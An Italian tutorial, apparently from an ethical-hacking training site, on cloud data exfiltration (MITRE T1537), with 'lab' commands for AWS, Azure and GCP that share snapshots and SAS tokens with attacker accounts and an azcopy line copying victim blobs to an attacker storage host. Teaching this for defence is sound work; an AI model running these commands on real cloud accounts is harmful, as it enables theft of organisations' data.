Trasferimento Dati tra Account Cloud: Transfer Data to Cloud Account (T1537)
Gli attaccanti sfruttano sempre più le infrastrutture cloud per esfiltrare dati trasferendoli verso account sotto il loro controllo all'interno dello stesso provider. Questa tecnica rientra nella tattica TA0010 (Exfiltration), rappresentando l'ultima fase della kill chain quando l'avversario cerca di sottrarre informazioni sensibili dalla rete compromessa.
Il trasferimento avviene attraverso meccanismi nativi del cloud come la condivisione di snapshot, la creazione di backup o la generazione di link anonimi. 3 gruppi APT hanno già dimostrato l'efficacia di questo approccio, sfruttando il fatto che molte organizzazioni monitorano i trasferimenti verso l'esterno ma non quelli interni al provider.
L'impatto è significativo: i dati vengono spostati utilizzando API legittime e indirizzi IP interni del cloud provider, rendendo l'attività difficilmente distinguibile dal traffico normale. In Azure, gli attaccanti possono creare Shared Access Signature (SAS) URI per condividere dati con account controllati, mentre in AWS possono condividere snapshot EBS o modificare le policy dei bucket S3.
Per replicare questa tecnica in laboratorio, iniziamo con AWS. Il primo step consiste nel creare uno snapshot di un'istanza EC2 contenente dati sensibili simulati.
aws ec2 create-snapshot --volume-id vol-12345678 --description "Backup produzione"
Una volta creato lo snapshot, lo condividiamo con un account AWS controllato dall'attacker:
aws ec2 modify-snapshot-attribute --snapshot-id snap-87654321 --attribute createVolumePermission --operation-type add --user-ids 123456789012
In Azure, l'approccio più subdolo utilizza i SAS URI. Generiamo prima un token SAS per un blob storage contenente i dati target. Il comando PowerShell diventa:
$context = New-AzStorageContext -StorageAccountName "victimaccount" -StorageAccountKey "key" New-AzStorageBlobSASToken -Container "sensitive" -Blob "data.zip" -Context $context -Permission rwd -ExpiryTime (Get-Date).AddDays(7)
Per Google Cloud Platform, sfruttiamo le funzionalità di condivisione cross-project. Prima creiamo uno snapshot del disco:
gcloud compute disks snapshot victim-disk --snapshot-names exfil-snapshot --zone us-central1-a
Poi lo condividiamo con il progetto controllato dall'attacker modificando le IAM policy dello snapshot.
Storm-0501 ha dimostrato l'efficacia di AzCopy per trasferimenti massivi. Il tool Microsoft legittimo diventa un'arma nelle mani sbagliate:
azcopy copy "https://victim.blob.core.windows.net/data?SAS_TOKEN" "https://attacker.blob.core.windows.net/stolen" --recursive
Gli strumenti come Megasync utilizzati da INC Ransom offrono un'alternativa quando i trasferimenti cloud-to-cloud sono bloccati. L'automazione tramite megatools permette upload massivi verso Mega.nz mantenendo l'anonimato.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo